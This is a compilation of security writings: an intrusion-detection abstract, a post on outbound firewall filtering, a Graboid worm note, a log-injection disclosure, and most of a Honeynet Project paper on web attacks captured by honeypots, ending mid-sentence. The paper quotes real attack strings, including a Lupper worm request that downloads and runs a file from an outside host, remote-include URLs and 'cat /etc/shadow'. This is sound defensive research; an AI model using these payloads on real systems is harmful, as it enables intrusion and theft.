Teamlink Pty Ltd Business and Public Management Internet proxy systems such as Squid exchange intelligence relevant to their function as caching proxy servers via a distributed and trusted hierarchy of machines. The required intelligence is broadcast based along the network based upon established trust relationships throughout the connected network via specific port and protocols of exchange. An intrusion detection system that incorporates this functionality for gathering attack intelligence could be a formidable foe even for the wiliest attacker. This paper will outline a possible model for the deployment of a network/distributed network intrusion detection system utilising technologies and techniques already in existence to provide the supporting infrastructure.
This week, we’re discussing outbound traffic filtering. This is filtering provided at the network edge by a firewall with rules (ACLs) restricting what internal users are allowed to access. Some firewalls have the ability to filter by an application (layer 7 firewalls), but we’re going to concentrate on standard packet-filtering firewalls and their capabilities. There are several reasons for wanting to restrict outbound communications, such as defeating malware, making data exfiltration harder, and the detection of infected hosts. What Traffic Should Be Blocked Outbound? When someone decides to implement outbound filtering, usually the first question they ask is, “What ports should I block?” The answer is simple: Whatever ports are necessary. If you only need HTTP, HTTPS, and DNS traffic outbound, then that’s your answer. If you have internal mail servers, you’ll need to open up SMTP ports. The point is, it depends on the requirements of your environment. For simplicity’s sake, I’ve listed out some commonly blocked ports below that you would use if following a blacklist approach: - Microsoft RPC (TCP/UDP 135) - NetBIOS (TCP/UDP 137-139) - SMB (TCP 445) - TFTP (UDP 69) - Syslog (UDP 514) - SNMP (UDP 161-162) - Telnet (TCP 23) - SSH/SCP (TCP 22) - DNS (TCP/UDP 53), except from internal DNS servers - SMTP (TCP 25), except from internal mail servers - Ephemeral ports (TCP/UDP) 1024-65535 Instead of denying a bunch of ports, try a whitelisting approach, which blocks all outbound ports and only permits those you approve, such as HTTP, HTTPS, and DNS (from an internal DNS server). We discuss whitelist and blacklist approaches in the CompTIA CySA+ course here at Linux Academy. Now, let’s dig into the main reasons why we want to restrict outbound communications. Most malware these days is known as command and control (CNC) malware. Once it’s installed, the malware will phone home to a control server and check in. The malware will continue checking in periodically, waiting to receive a command to do something. The CNC malware is coded with a destination address and port where the controller server can be reached. Oftentimes, the port used is an ephemeral port (1024-65535). If we are blocking these ports outbound, the malware can never contact its control server; therefore, it’s rendered useless. Ransomware generally works the same way — phoning home to send information about the host it’s infected and receive encryption keys necessary for encrypting files on the target. Yes, it’s true that some malware uses common ports such as 80 and 443 to communicate over, but not all ransomware does. If we can stop 20% of the ransomware with outbound filtering, it’s worth it. Make Data Exfiltration Harder Another benefit of outbound filtering is to make data exfiltration harder. If an attacker gains access to your infrastructure, they may feel the need to exfiltrate data. The easiest way to do this is via some type of shell, like Meterpreter. The outbound communications from a Meterpreter session will use ephemeral ports. Another easy way is via FTP or SCP (both of which we mentioned above, as far as blocking their ports). If you’re not familiar with Meterpreter, take a look at this CompTIA Pentest+ course to see how to use it in a penetration test. In the port list above, you’ll see DNS is listed with the note, “except from internal DNS server.” This is because DNS has become a favorite of data exfiltrators via a technique called DNS tunneling. This is where data is tunneled over DNS. Since DNS is so important, many networks don’t prevent DNS outbound, and attackers know this. We definitely should be blocking outbound DNS from our network for all internal hosts, except our internal DNS servers that require DNS to be open so they can perform recursive queries. No, we cannot completely prevent data exfiltration, but we can make it harder. Prevent Nefarious Activities Nefarious activities are those we don’t want happening and that can cause us headaches. One of those nefarious activities is SMTP relay. You could have an infected host sending out spam emails or being used as a bot in a DDoS attack, and outbound filtering can help prevent this activity. I’m sure many of us have dealt with our IP addresses getting blacklisted because of these types of activities. When this happens, it takes away our valuable time in order to get our IP addresses removed from these blacklists. Review Your Firewall Logs to Find Infections Now that outbound filtering is enabled, we can review firewall logs for blocked outbound traffic. This can quickly identify internal systems attempting to communicate on odd ports. These systems need to be checked for malware or misconfigurations. So not only can outbound filtering help protect us, but it can also help us identify active infections not identified by other controls, such as anti-virus or anti-malware. Wrapping Up Outbound Filtering In the end, outbound filtering is not a silver bullet, but, then again, nothing in security is. Remember: We address security with a layered approach. Each layer we add makes us more resilient to attacks. Think of it like a bulletproof vest: A single layer of Kevlar will not stop a bullet, but when you have 20 layers, the vest will stop a bullet. That’s how we need to approach security — layer by layer. As you’re securing your infrastructure, don’t forget to have an incident response plan. Use vulnerability scanning to see what vulnerabilities are in your infrastructure, and keep in mind the importance of data backups, as well as passwords and policies such as using MFA and proactively identifying compromised passwords.
Security researchers at Palo Alto Networks have discovered the Graboid worm that spreads through Docker software containers and mines Monero cryptocurrency for the attackers. This is a new tactic and territory for crypto-mining worms. It is the first time such malware has been detected traversing software containers. Once a core image repository is infected, anytime the image is pulled and used, the malware goes with it and is spawned to maliciously consume resources for crypto-mining. Traditional security software rarely looks inside containers, so these instances can be active for as long as the container is in use. - Make sure the docker engine is not exposed to the internet without proper authentication controls - Use whitelisting where possible to identify and limit allowable incoming traffic sources - Tenaciously protect the software repositories from tampering or infection - Only pull images from trusted repositories - Setup monitoring of images and repositories to detect if they have been modified or acting in unauthorized ways
I just finished an article about “Remote log injection”, that among other things, exposes some vulnerabilities on DenyHosts, Fail2ban and BlockHosts that can lead to arbitrarily injection of IP addresses in /etc/hosts.deny. To make it more “interesting” (i.e. worse), not only IP addresses can be added, but also the wild card “all”, causing it to block the whole Internet out of the box (bypassing white lists). The paper is available here: http://www.ossec.net/en/attacking-loganalysis.html Snippet from the article: The purpose of this article is to point out some vulnerabilities that I found on open source log analysis tools aimed to stop brute force scans against SSH and ftp services. Since these tools also perform active response (automatically blocking the offending IP address), they would be good examples. However, any tool that parse logs can be equally vulnerable. We will show three 0-day denial-of-service attacks caused by remote log injection on BlockHosts, DenyHosts and fail2ban. This paper talks about remote log injection, where an external attacker can modify a log, based on the input it provides to an application (in our case OpenSSH and vsftpd). By modifying the way the application logs, we are able to attack these log analysis tools. We are not talking about local log modification or “syslog injection”.
Using Honeypots to learn about HTTP-based attacks Jamie Riden, New Zealand Honeynet Project Ryan McGeehan, Chicago Honeynet Project Brian Engert, Chicago Honeynet Project Michael Mueter, German Honeynet Project With the constant growth of the Internet, more and more web applications are being deployed. Web applications offer services such as bulletin boards, mail services such as SquirrelMail, online shops, or database administration tools like PhpMyAdmin. They significantly increase the exposed surface area by which a system can be exploited. By their nature, web applications are often widely accessible to the Internet as a whole meaning a very large number of potential attackers. All these factors have caused web applications to become a very attractive target for attackers and the emergence of new attacks. This KYE paper focuses on application threats against common web applications. After reviewing the fundamentals of a typical attack, we will go on to describe the trends we have observed and to describe the research methods that we currently use to observe and monitor these threats. In Appendix A, we give actual examples of a bot (a variant of PERL/Shellbot), the Lupper worm and an attack against a web Content Management System (CMS) as examples that show how web application threats actually act and propagate. Holz, Marechal, and Raynal observe, "From an attacker's viewpoint, a Web application is an interesting target for several reasons. First, the quality of the source code as related to security is often rather poor, as numerous bug reports show... Another factor is the applications' complex setup" [Holz06]. Many different vulnerabilities have been discovered in web applications, leading SANS to include web applications as the number one cross-platform attack target in their 2006 survey: "Applications such as Content Management Systems (CMS), Wikis, Portals, Bulletin Boards, and discussion forums are being used by small and large organizations. Every week hundreds of vulnerabilities are being reported in these web applications, and are being actively exploited. The number of attempted attacks every day for some of the large web hosting farms range from hundreds of thousands to even millions." Below we give the exploits we have seen against our honeypots and where possible an estimate of the number of users for each piece of software. The estimates are obtained by checking the number of Google search results returned for a given page in a website, for example searching for '"powered by PHPBB" inurl:viewtopic.php' suggests there are around 1.5 million installations of PHPBB indexed by Google. Because typical web applications are relatively immature code in terms of software life-cycle, a large number of vulnerabilities are regularly being discovered. This problem is exacerbated by the number of protocols in use by web applications - HTTP or HTTPS, XMLRPC and SOAP to name a few and the relatively unconstrained nature of the user interface. For example, a web form may be designed to accept certain parameters of particular sizes, but an attacker may exploit the application by posting arbitrary content to the form making use of failures in parsing and validation of the data to compromise the service. Some types of common PHP application vulnerabilities enable the attacker to include their own code in the targeted web application, a type of attack known as local or remote code inclusion. Many of the languages that web applications that are written in -such as Perl and PHP - are relatively powerful and offer facilities to execute operating system commands and powerful database integration. They may also enable the program to interact with third-party applications such as email agents. Over recent years, much research has been performed on vulnerabilities in networking protocols and much effort has gone into design of firewalls and other mitigation mechanisms. In contrast, web applications are by nature open to a global audience and so may be extremely easy to find with the aid of search engines. Moreover, web applications have not had the same scrutiny that older applications and protocols have received. Attacks may also be written in a combination of a scripting language and shell commands, which are easier to develop than the machine language code needed to exploit most buffer-overflow problems. It is plausible that web servers are generally of high value to attackers. Many automated attacks that we have observed have been designed with Linux in mind, though some of the Perl code they include also runs on other varieties of UNIX. We expect that a server installation will typically have a faster connection to the Internet than a home user's installation do; therefore it is plausible that by exploiting Linux web servers an attacker will gain control of a relatively high-value machine compared with attacks targeting a home user's computer. Web applications will usually have to interact with databases, such as lists of customers and their email addresses, or financial information. Another reason attackers may choose to target web applications is as part of a strategy for gaining access to these databases. In summary, because web applications are globally visible, vulnerable hosts are very easy to find via search engines and exploits are relatively easy to develop, they present a large and attractive surface area for attackers. They may also provide a stepping stone into more sensitive parts of the victim's network. Web applications commonly face a unique set of vulnerabilities due to their access by browsers, their integration with databases, and the high exposure of related web servers. The modern web server setup commonly presents multiple applications running on one host and available via a single port, creating a large surface area for attack. Code injection is one such attack, which exploits a web application's interface to the underlying operating system and results in the execution of arbitrary code. A simple example of a PHP code injection attack follows: Directing a web browser to this application at the URL "application.php?name=Magoo" would result in the display of a webpage containing the word "Magoo". However, using the characters "Magoo; wget 188.8.131.52/toolkit.c" would execute two statements within the exec() function. The second statement is a malicious attempt to download a file to the victim host. A vulnerability similar to this was present in some versions of the Advanced Web Statistics (AWStats) script, a popular application used for summarizing information about visitors to a web site. This vulnerability has been widely abused by several worms, including Lupper. Note that AWStats is written in Perl so the problems we describe are by no means unique to PHP. To quote from the iDEFENSE advisory : "The problem specifically exists when the application is running as a CGI script on a web server. The "configdir" parameter contains unfiltered user-supplied data that is utilized in a call to the Perl routine open() as can be seen here on line 1082 of awstats.pl: In the case of the following attempted exploit: we end up with: which leads to the execution of the attacker's commands, because of the way perl's 'open()' function works. It seems as if the 'echo b_exp' at the start and a corresponding 'echo e_exp' at the end is intended to simplify parsing of the resulting web page, as in the this published exploit. The PHPBB vulnerability that was exploited by the Santy worm was a problem of this type. PHPBB is a bulletin board written in PHP which allows users to post and reply to messages about various topics. A Google search for PHPBB reveals around 1.5 million sites at the time of writing. The Santy worm initially attempted to exploit the viewtopic.php vulnerability with a small test payload, simply printing out a particular piece of text. If the resulting web page contained the supplied text, the worm would launch its propagation code. (Eventually Google began to block Santy's queries.) The following is an example of an attack observed against PHPNuke which attempts to run the 'id' command. It is a maliciously crafted HTTP GET request: The 'id' command identifies the current user and seems to be often used to test command injection issues, as the results of a successful test are easily identifiable. The vulnerability itself appears to be the phpBB Remote Command Execution (Viewtopic.php Highlight) issue which we discuss later. PHPNuke has included PHPBB for its forums "starting from somewhere around v. 6.5" A remote code-inclusion attack works similarly; for example the following PHP code: will include a PHP file into the currently executing script. Under certain circumstances, such as the configuration item register_globals being enabled, an attacker may be able to change the value of the variable $librarydir. (Register_globals means that PHP will automatically initialize variables from HTTP GET parameters without the programmer's intervention.) Some configurations of PHP allow the inclusion of code specified by a URL rather than a local file name. The attacker exploiting this vulnerability may attempt to set $librarydir to a value such as "http://184.108.40.206/evilscript.php". If the attack is successful the attacker gains control of the web application. Remote code-inclusion attacks have occurred in a wide variety of PHP applications, notably the Mambo CMS. Typically the attacker includes a script that attempts to execute a command such as one fetching further malware. These utility scripts are often quite full-featured and some have integration with databases and allow the invocation of shell commands, sending of email and viewing of files on the web server. See Appendices A and B for more details related to this type of attack. The vulnerability classes - remote code-inclusion and command injection - should be considered serious as they have resulted in a number of high profile worms attacking the following software: PHPBB, reported December 21, 2004, attacked by the Santy worm. AWStats, PHPXMLRPC, WebHints reported November 7, 2005, attacked by the Lupper worm. Mambo, reported December 6 2005, attacked by the Elxbot worm. Mambo, PHPXMLRPC, reported February 20, 2006 and attacked by the Mare worm. An example attack we observed against Mambo CMS is as follows. Again, it is simply a malicious HTTP GET request, exploiting the vulnerability described in Secunia Advisory #14337 : This has the effect of executing the script of the attackers choosing, here 'http://192.168.57.112/~photo/cm' - the exact operation of the exploit against the vulnerability can be seen in 'Mambo Exploit' in Appendix A. In this case, the included file is a 'helper' script which attempts to execute the operating system command given by the 'cmd=' parameter. Here the commands given would cause the helper script to be written over the 'index.php' file and the details of the operating system and IP address to be sent to two email addresses. The attackers could then revisit the vulnerable systems at a later date. An example of a particular helper script, the c99 shell is given in Appendix B, but such scripts typically allow the attacker to execute operating system commands and browse the file system on the web server. Some more advanced ones offer facilities for brute-forcing FTP passwords, updating themselves, connecting to databases, and initiating a connect-back shell session. Another type of web application attack is SQL injection. Suppose a naively implemented login page searches for records in a database which match the given username and password, like this: This SQL query always returns a non-empty result, bypassing the login procedure and enabling the attacker to access the application. By successfully exploiting an SQL injection vulnerability the attacker can often gain superuser/admin access to the application or even the operating system. The following is an attack we observed against PHPNuke: which exploits the vulnerability detailed in Secunia advisory #14866 - the 'querylang' parameter is allows an SQL injection attack against the application. This is the original Waraxe advisory about the vulnerability. The following source code is the problem: and as result we can see md5 hashes of all the admin passwords in place, where normally top 10 votes can be seen :) The exploit will reveal the MD5 hashes of all the administrative users of PHPNuke. The value of seeing the MD5 hashes is being able to recover some passwords from them, as we explain below in the section "Top 10 Operating System commands issued". A naive implementation of a bulletin board might store a user's comment in a database and write it straight back to other users who are viewing the thread. By posting something like Human attackers and automated worms were found to employ several strategies to find vulnerable systems. This section describes these strategies and identifies trends in their use. PHPShell is a PHP script which allows shell commands to be executed on a web server. Typically the PHPShell script is protected by a password so only the server administrator can access it. We deployed honeypots that advertise an unrestricted PHPShell application, which attackers often tried to exploit. The majority of attacks on PHPShell honeypots that we observed were preceded by a discovery request which contained a referrer from a search engine. The search-engine queries are revealed to us by the default browser behavior, which sent the query to us as the Referer header. This technique is good for the attacker, because most of the time-consuming work of finding potentially vulnerable systems has been done by the search engine, eliminating the need for the attacker search across many different hosts themselves. Some copies of PERL/Shellbot were captured which had routines to search Google for certain scripts while other searches seem to have been performed manually. See Appendix C for example code from a captured copy of such a bot. One disadvantage to attackers of using search engines is the new single point of failure they create. For instance, the Santy worm used Google to search for new targets, however Google started blocking Santy's queries which stopped the further spread of the worm. It should be noted that some bots have been observed which use Yahoo search and not just Google. Some probes appeared to use IP-based scanning, such as several captures of the Lupper worm. When studied inside a virtual machine environment, the worm scanned a sequential range of IP addresses to see which, if any, were running a web server. If a web server was present, the worm attacked using several exploits that attempted to execute code on the server. IP-based scanning entails a relatively high cost per system infected in terms of search time and network resources, assuming a low density of targets. Worms which use search engines to locate their targets have a much lower cost per target because the search engine does the work of finding potentially vulnerable hosts. Note that IP scanning will not work for name-based virtual hosts, a technique for hosting many websites on a single IP address that was introduced in HTTP 1.1. Using this method, the request for a web page has to contain the appropriate hostname, such as 'www.example.com' that is being asked for. Since there is no way for an IP-based scanning program to determine this name, there is no way for it to successfully exploit a site using virtual hosting. Name-based virtual hosting is popular with shared web hosting providers as they don't have to provied each website with a unique IP address. While observing hits on our honeynet, we noticed a high amount of traffic from spiders - a spider is a program which fetches a series of web pages for analysis, for example Google's and Yahoo's web crawlers. Typically a spider will announce itself as such in the 'user-agent' field of an HTTP reques such as 'Googlebot 1.0'. Other spider programs we observed announce themselves as a typical web browser while the tiny interval between successive requests shows they are running without user interaction. We have determined that the spamming attempts we received were caused by the presence of web forms on our honeypot. Search engines cannot be used to search for a form in a web site, therefore a spider or other parsing tool must have discovered a form on our honeypot. When discovered, spam was immediately inserted into the form, regardless of the more valuable shell access the honeypot advertised. This points to an automated, spider-based attacker as opposed to a human. Once the attacker found the honeypot, via any of the methods mentioned above, they typically tried to utilize it for a variety of different purposes - ranging from defacement to mounting phishing attacks. The following sub-sections explain specific purposes we observed. The top 10 commands issued by attackers on the PHPShell honeypot are as follows: 1. 3251 times, 'ls' - Displays a list of files in the current directory 2. 1051 times, 'pwd' - Reports the current directory 3. 777 times, 'id' - Reports the current user 4. 619 times, 'uname -a' - Reports on details of the operating system and hostname 5. 600 times, 'w' - Reports on current users and the load the system is under 6. 556 times, 'ls -la' - Displays full information on all files in the current directory, including hidden ones 7. 543 times, 'ls -al' - Displays full information on all files in the current directory, including hidden ones 8. 386 times, 'dir' - Lists files in the current directory under Windows. 9. 363 times, 'cat /etc/shadow' - Lists the shadow password file, containing hashes of user's passwords 10. 353 times, 'cat config.php' - Displays the configuration file for PHPShell which contains usernames and passwords amongst other things. In regards to number 9, 'cat /etc/shadow', a dictionary attack can be mounted against a hashed password file. Tools such as John the Ripper can try the hashing operation on many common passwords such as dictionary words. If the hash of the guessed word comes out the same as the hash in the password file, the attacker now knows the password for that user. Alternative methods such as Rainbow Tables can speed up the process of recovering the passwords. An exhaustive search through all possible passwords will usually take too long to be viable against modern UNIX password files. We observed 15 attempts to inject mail into the web forms of one of our honeypots. The following data is an example: We have also observed blog comment spam such as : We observed over 500 attempts to deface our PHPShell web site, most of which attempted to use the Chinese characters for "summon" to overwrite the index file. The following defacement attack can be found in many on-line tutorials: Similarly, one attacker tried to deface the main page by issuing this operating system command : Multiple attempts were made to download files which seemed to be done only for hosting purposes. In one very specific attack, the attacker used over 50 commands to investigate the server and then attempted to download several files. The following shows one attempt to download a music file, and two attempts to download legitimate Windows applications (not related to cracking activities): Other files that attackers attempted to download seemed to be intended to help in the exploitation of the server. A common action was to fetch a PHP shell application such as c99 shell (see Appendix B) to allow the attacker to issue shell commands, view the filesystem and perhaps to connect to local databases. Some attackers tried to download the eggdrop IRC bot or the psyBNC IRC proxy. Among other tools, attackers commonly downloaded and attempted to use a variant of pscan. Pscan is an efficient port scanner that can discover hosts which are listening on a particular port. Typically, the attacker would run the tool, obtain a list of hosts with the port open and then proceed to run an exploit tool against the list of hosts. This archive contained SSH scanning tools, including pscan, a password list, and a list of servers and their root passwords or other user accounts that had been guessed already. On one honeypot we observed 12 attempts to install IRC bots to join various botnets after system access was gained. In one example we analysed, a bot connected to a channel on a public IRC server to which 387 other clients had already connected. Typically, the vast majority of the bots supported commands for denial-of-service attacks. Since most Linux boxes tend to be servers rather than workstations, it is plausible that even a relatively small botnet of around 400 Linux machines would have a great deal of bandwidth available to mount a DoS attack, while being small enough to evade detection until used. For examples of two attacks that attempted to join botnets, see 'The Lupper Worm' and 'Mambo Exploit' in Appendix A. The paper Know Your Enemy: Tracking Botnets gives more detail on how botnets operate. One attacker tried to download an archive containing HTML, graphics and scripts to create a Paypal phishing site. The site was designed to look like the real Paypal web site, but would have recorded usernames and passwords in a file residing on the web server. The attacker could then have retrieved this file later. For more information on phishing techniques, see Know Your Enemy: Phishing. Another attacker downloaded a similar phishing page for Orkut, Google's social networking site. In this case, the fake site would have emailed the username and password to a Gmail account controlled by the attacker. The following graph shows attacks against a PHP honeypot which are trying to exploit several distinct flaws. The vulnerabilities attacked are Mambo remote code-inclusion as discussed above, AWStats configdir command injection, PHPBB admin_styles remote code-inclusion (note that this is different to the PHPBB flaw that Santy exploited), WebCalendar includedir remote code-inclusion and Coppermine Photo Gallery remote code-inclusion, in this case the problem with theme.php and THEME_DIR. We can see that the Mambo exploit is consistently popular but the usage of the AWStats vulnerability tails off towards the end of this period. Other exploits are only tried occasionally, such as the PHPBB flaw. Some sources attempt to exploit a single issue, while others try two or more. The total numbers of attacks observed during this period were as follows: Mambo 255, AWS 251, PHPBB 54, WebCalendar 9, Coppermine 10. Appendix D has individual graphs for each vulnerability. The following graph shows the mean number of attacks per unique source: By becoming a tool for an attacker to inflict harm on other systems, a site may be opening itself up to liability issues if they have not been paying sufficient attention to security. For example, if a machine is joined to a botnet it may be a participant in a denial-of-service attack against an external site, or may be used to recruit other machines into the botnet. Phishing sites are used for stealing identity information for various purposes, including transferring money away from victim's bank accounts. Files that are uploaded to compromised hosts may be subject to copyright issues or other more serious violations of obscenity laws in the country the server resides in. If the server is used to send Unsolicited Bulk Email (UBE aka 'spam'), the server may be placed on a blocking list and legitimate users of the server may find their email blocked by many Internet sites. It is also possible that control of a website may be used to compromise computers that are browsing that site. For example, such an incident is described by Netcraft: "Hackers have hijacked a large number of sites at web hosting firm HostGator and are seeking to plant trojans on computers of unwitting visitors to customer sites. HostGator customers report that attackers are redirecting their sites to outside web pages that use the unpatched VML exploit in Internet Explorer to install trojans on computers of users. Site owners said iframe code inserted into their web pages was redirecting users to the malware-laden pages." In another incident, a banner advert was used to deliver exploit code to client machines : "During a 12-hour window over the weekend, hackers broke into a load balancing server that handles ad deliveries for Germany's Falk eSolutions and successfully loaded exploit code on banner advertising served on hundreds of Web sites." Various techniques were used against the honeynet to frustrate our ability to directly identify attackers. These tactics were only found occasionally in honeynet logs. Regardless of these techniques, the attackers actions were still fully monitored even if the source of the attacks was obscured. About 6% of attacks were detected as using a proxy server. Proxy servers act as an intermediary between a web browser and a web server. Some organisations such as universities may require their users to make use of a proxy server to monitor and audit web traffic or to cache commonly fetched documents. Other proxy servers, termed 'open proxies' allow anyone to connect to them. This allows attackers to obfuscate their source address by having another server make the HTTP requests on their behalf. While this approach can successfully cover an attackers identity, it does not increase the stealthiness of their attack. Some proxy servers are designed to relay the clients address along with the HTTP request, while some 'anonymous' proxy servers do not. The honeynet saw attacks from both types of proxies. Similar to the proxy server, the Google Translate service can act as a proxy as it translates websites for its users. The Google Translate service will make HTTP connections to websites and relay them to the users of Google Translate. This is an older technique to obfuscate IP addresses similar to an anonymous proxy, but the behavior of the service has since changed. The Google Translate service now forwards the IP address of its users. Attackers still using the Google Translate service against the honeynet are exposing their source IP address. For example, to translate the Honeynet webpage into French, you could use the following URL: http://www.google.com/translate?u=http%3A%2F%2Fwww.honeynet.org&langpair=en%7Cfr&hl=en&ie=UTF8. Google would then fetch the web page on behalf of the attacker, however this technique doesn't anonymise the attacker any more. Onion routing is a routing technology used to ensure the privacy of its users, where each node only has partial information about the route of the packets. A service sponsored by the Electronic Frontier Foundation called Tor is an implementation of this concept. Tor is a design of randomly selected, encrypted tunnels that acts as a proxy for client applications, such as web browsers. The honeynet was able to identify only 40 (.01%) attacks making use of the Tor service. Of the seven unique attacks using Tor, there were only two worth noting. The others simply reached the honeypot and took no further action. The first attack traversed four honeypots, and attempted nothing more malicious than exploring the filesystems and attempting to create a hidden directory. The attacker discovered the honeypots using Google, using the query "inurl:phpshell.php filetype:php". The second attack only touched one honeypot on the honeynet, and attempted to retrieve a 'config.php' file. Applications written in PHP commonly include a 'config.php' file, which usually contains passwords or sensitive information regarding the application. In the case of PHPShell, the config.php file includes usernames and passwords as well as some other configuration information. The downside for attackers using a scripting language for a web-based backdoor is that the source code is inherently public. A specific backdoor found by the honeynet called 'r57 shell' employed multiple PHP functions to decode itself before running. The PHP functions pack(), and gzinflate() decode the PHP code that needs to run, which is then sent into the eval() function. This is a very trivial way of obscuring source code, but it is all one can ask for when using an interpreted language like PHP. There are currently two honeypot technologies to respond to attacks against web applications. These include the "Google Hack" honeypot and PHPHop (PHP Honeypot). For the study of web application attacks, these offer advantages over traditional honeypots due to the fact that their existence is advertised. Typically the honeypots can be found via specific searches in the Google or Yahoo search engines and this leads to a lot of sessions between potential attackers and the honeypots. These are considered low interaction honeypots in that they emulate web applications and/or their vulnerabilities. We ran five GHH honeypots in one honeynet over the course of about twelve months during 2005 and 2006. Some of these honeypots emulated a web application called PHPShell and some of them emulated the phpBB2 message board application. The PHPShell honeypot emulated PHPShell, by offering the appearance of access to the underlying operating system shell. All commands that the attacker executes are logged, together with details of the HTTP session in progress. If the attacker attempts to download any binaries we obtain a copy of these as well. The phpBB2 honeypots were emulating multiple remote code execution vulnerabilities, including the one exploited by the Santy worm as described above. Our GHH honeypots were advertised using a technique we call "transparent linking". This involves placing hyperlinks pointing to our honeypot on other web pages so that our honeypots are indexed by search engines. The links are designed so that humans will not see them, so the only visitors to the honeypot should be those who have specifically searched for it using a search engine. For example, we might insert a link such as '.' into a web page which is already being indexed by a search engine. When the engine crawls the site again, it will follow the link and index the honeypot as well. By having the honeypot indexed in a search engine we increase the amount of attacks that traverse our honeynet rather than relying on attackers finding the honeypot by manual scanning. Usually when a web browser visits the honeypot we can see the search criteria revealed by the 'referer' field of the HTTP request. All the traffic to the GHH honeypots was logged and inspected for malicious activity. Below is a graph of the number of HTTP requests received by the Google Hack Honeypot honeynet during 2006, and includes requests from search engines which are indexing the pages on the honeypot, as well as malicious activity. There is a consistently high number of visits from search engines such as Yahoo, Google and MSN Search and a fairly steady stream of other visitors trying to execute operating system commands on the honeypots. Another two PHPHoP honeypots have been running for about 12 months and have been emulating several vulnerable web applications including Advanced Web Statistics (awstats), the Mambo Content Management System and certain applications making use of the PHPXMLRPC protocol. The emulations are relatively basic and are not convincing to a human attacker but do collect a variety of probes and automated exploit attempts, including capturing the files and payloads used in these attempts. When the attacker makes a malicious request to the honeypot, for example, attempting to exploit a remote code-inclusion problem in Zeroboard, a web bulletin board : Web servers can be protected from threats in many ways. Firstly, we recommend that the administrator keeps an inventory of what applications are on the web server and maintains patch levels for all of them. A host-based Intrusion Detection System, such as mod_security for the Apache web server may be used to block certain common attack vectors, such as "wget" and "curl" appearing in GET and POST requests. This will not provide complete protection from remote code inclusion attacks in particular, but will block many common attacks. If the attacker can include arbitrary code in the running application, they will be able to evade most keyword filters. Alternatively, an application proxy can be deployed in front of the web server to filter out these types of malicious requests. A Host Intrusion Detection System (HIDS) program such as Tripwire may be used to monitor the integrity of critical system files. Correct configuration of web servers such as Apache and scripting languages such as PHP is also crucial. We mentioned register_globals earlier which allows an attacker to set variables which can cause problems if the developer has not specifically initialized them. The allow_url_fopen configuration directive should be disabled if possible as this prevents remote code-inclusion attacks. The Open Web Application Security Project provides further details on securing web servers and applications. We also recommend that a Network Intrusion Detection System is used which should alert the administrator to events such as connections from web servers to an IRC channel outside the organisation, the port-scanning activity that will be associated with some of the worms and scanning tools, and possibly the increase in traffic that may occur if the server is sending spam email or hosting a phishing web site. Lastly, the administrators should be responsive to the postmaster and abuse email addresses at their domain, which often provide rapid warning of incidents in progress. Web applications present a very high risk, and an attractive target to attackers for the following reasons: Firstly, the quality of the code is often rather poor and many vulnerabilities of commonly used code are published. Second, attacks can often be performed using PHP and shell scripts, which are much easier to develop and use than buffer-overflow exploits. Thirdly, tools such as search engines provide a very easy way for attackers to locate vulnerable web applications. We believe that web servers present relatively high-value targets for attackers since they are more likely to have higher bandwidth connections than the average desktop computer. They will also typically need to access the organisation's databases and so may provide a stepping stone for an attacker who wishes to recover such data. Although significant effort is being made to improve code quality in many web applications, the volume of existing code, and the amount of new code being written are causing the number of vulnerabilities being reported to remain quite high. (For example, the number one cross-platform vulnerability listed in the SANS Top 20 Survey is web applications.) Since the other factors - public availability, easy exploitation and web applications being easy to locate via search engines - are not likely to change significantly, we can expect to see these trends carrying on into the future. In order to acquire a greater amount of information the deployment process will be stream-lined. Therefore we plan to develop a live CD or an easy-to-install VMware image of our honeypots. Further, the level of detail of the emulation performed by our honeypots will be increased to improve the realism of the simulation and more accurately mimic a genuinely vulnerable web application. These improvements will enable us to observe a wider range of attack patterns and threats that are launched against today's web applications. Finally it would be very interesting to monitor bogus web spiders. This could be done by setting up a new honeypot that denotes its web pages as not-to-be indexed and logs any access to them. [Holz06] T. Holz, S. Marechal and F. Raynal, New Threats and Attacks on the World Wide Web, IEEE Security and Privacy 2006 issue 2 pp 72-76 Many thanks to Markus Koetter, Tillmann Werner and Lance Spitzner for extremely helpful feedback and suggestions for improvements. Our gratitude also goes to Laurent Oudot who developed the first incarnation of PHPHoP and encouraged Jamie to attend the 2006 Honeynet Project meeting. Thorsten Holz provided answers to some technical questions on botnets and Jianwei Zhuge assisted us with Chinese translations. The Geshi website was used to syntax-highlight some of the code. [update: geshi and geshifilter are now being used to do syntax highlighting in this drupal version - jamie] This section provides some examples from the wild. The following is an example Apache log entry of an attack by the Lupper worm, against the AWStats command-injection vulnerability: (Please note that the IP addresses and domains have been obfuscated throughout this paper.) Certain versions of the awstats program would execute the code "echo%20YYY;cd%20%2ftmp%3bwget%20192%2e168%2e1%2e216%2fnikons%3bchmod%20%2bx%20nikons%3b%2e%2fnikons;echo%20YYY;" in response to this request. This would cause the file at '192.168.1.216/nikons' to be downloaded and stored in the /tmp directory. Then it would be made executable using the 'chmod +x nikons' and finally it would be executed. This file 'nikons' was a shell script which attempted to download two programs; an IRC bot, identified as Tsunami.A and a variant of the Lupper worm. The Lupper variant tried to spread via scanning for hosts listening on port 80 and attempting to exploit the AWStats and PHPXMLRPC vulnerabilities. (Another Lupper variant is described as trying to exploit a file called hints.pl - this behavior not present in our captured version.) The worm probed for the following scripts: /xmlrpc/xmlrpc.php, /wordpress/xmlrpc.php, /phpgroupware/xmlrpc.php, /drupal/xmlrpc.php, /blogs/xmlsrv/xmlrpc.php, /blog/xmlsrv/xmlrpc.php, /blog/xmlrpc.php If present, any of these scripts would have been exploited via the following PHPXMLRPC exploit. The following POST payload downloads the tool "gicuji", a shell script to download and execute the Lupper and Tsunami binaries. This section exhibits example logs created by a worm exploiting a remote code execution vulnerability within phpBB2. The exploit was sent in the value of the "highlight" parameter of the application's viewtopic.php script. Accessing the following URL downloaded the file root.txt from the domain example.com /phpBB2/viewtopic.php?p=1277&highlight=%2527.$poster=include($_GET[m]).%2527&m=http://example.com/root.txt?& The worm checks if the PHPBB installation is vulnerable by fetching the following URL, by attempting to print "jSVowMsd" in the output. If it finds "jSVowMsd" in the requested page, that is, if the vulnerability is present in the application, the targeted PHP server will then run the next two commands. This section describes an instance of the Mambo exploit observed on out honeynet. The hosts involved in the attack are: The following activity was logged by Apache during the attack: The GET request is an attempt to exploit a Mambo remote file-include vulnerability to execute http://66.98.a.a/cmd.txt on the victim host. Despite the extension .txt, the URL specifies a PHP script rather than a text file. The vulnerable code in Mambo is as follows: This simply includes the file the attacker wants and ignores the filename after the '?' character. The included code then attempts to execute the operating system commands specified by the cmd= parameter in the original HTTP request. (Successful exploitation of this vulnerability 